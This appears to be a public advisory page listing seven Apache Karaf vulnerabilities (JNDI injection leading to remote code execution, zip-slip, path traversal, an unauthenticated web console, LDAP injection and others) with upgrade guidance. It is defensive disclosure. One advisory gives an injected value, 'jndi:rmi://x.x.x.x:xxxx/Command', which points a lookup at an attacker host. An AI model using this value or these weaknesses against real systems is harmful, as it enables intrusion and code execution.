Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
7 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
Recommended action: Upgrade to 4.4.2 or 4.3.8 by release line, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Karaf before 4.0.10 enables a shutdown port on the loopback interface, which allows local users to cause a denial of service (shutdown) by sending a shutdown command to all listening high ports.
Recommended action: Upgrade to 4.0.10 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Karaf obr: commands and run goal on the karaf-maven-plugin have partial path traversal which allows to break out of expected folder. The risk is low as obr: commands are not very used and the entry is set by user. This has been fixed in revision: https://gitbox.apache.org/repos/asf?p=karaf.git;h=36a2bc4 https://gitbox.apache.org/repos/asf?p=karaf.git;h=52b70cf Mitigation: Apache Karaf users should upgrade to 4.2.15 or 4.3.6 or later as soon as possible, or use correct path. JIRA Tickets: https://issues.apache.org/jira/browse/KARAF-7326
Recommended action: Upgrade to 4.3.6 or 4.2.15 by release line, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Karaf kar deployer reads .kar archives and extracts the paths from the "repository/" and "resources/" entries in the zip file. It then writes out the content of these paths to the Karaf repo and resources directories. However, it doesn't do any validation on the paths in the zip file. This means that a malicious user could craft a .kar file with ".." directory names and break out of the directories to write arbitrary content to the filesystem. This is the "Zip-slip" vulnerability - https://snyk.io/research/zip-slip-vulnerability. This vulnerability is low if the Karaf process user has limited permission on the filesystem. Any Apache Karaf releases prior 4.2.3 is impacted.
Recommended action: Upgrade to 4.2.3 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In Apache Karaf version prior to 3.0.9, 4.0.9, 4.1.1, when the webconsole feature is installed in Karaf, it is available at .../system/console and requires authentication to access it. One part of the console is a Gogo shell/console that gives access to the command line console of Karaf via a Web browser, and when navigated to it is available at .../system/console/gogo. Trying to go directly to that URL does require authentication. And optional bundle that some applications use is the Pax Web Extender Whiteboard, it is part of the pax-war feature and perhaps others. When it is installed, the Gogo console becomes available at another URL .../gogo/, and that URL is not secured giving access to the Karaf console to unauthenticated users. A mitigation for the issue is to manually stop/uninstall Gogo plugin bundle that is installed with the webconsole feature, although of course this removes the console from the .../system/console application, not only from the unauthenticated endpoint.…
Recommended action: Upgrade to 4.1.1, 4.0.9 or 3.0.9 by release line, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Apache Karaf prior to 4.0.8 used the LDAPLoginModule to authenticate users to a directory via LDAP. However, it did not encoding usernames properly and hence was vulnerable to LDAP injection attacks leading to a denial of service.
Recommended action: Upgrade to 4.0.8 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
In Apache Karaf prior to 4.2.0 release, if the sshd service in Karaf is left on so an administrator can manage the running instance, any user with rights to the Karaf console can pivot and read/write any file on the file system to which the Karaf process user has access. This can be locked down a bit by using chroot to change the root directory to protect files outside of the Karaf install directory; it can be further locked down by defining a security manager policy that limits file system access to those directories beneath the Karaf home that are necessary for the system to run. However, this still allows anyone with ssh access to the Karaf process to read and write a large number of files as the Karaf process user.
Recommended action: Upgrade to 4.2.0 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.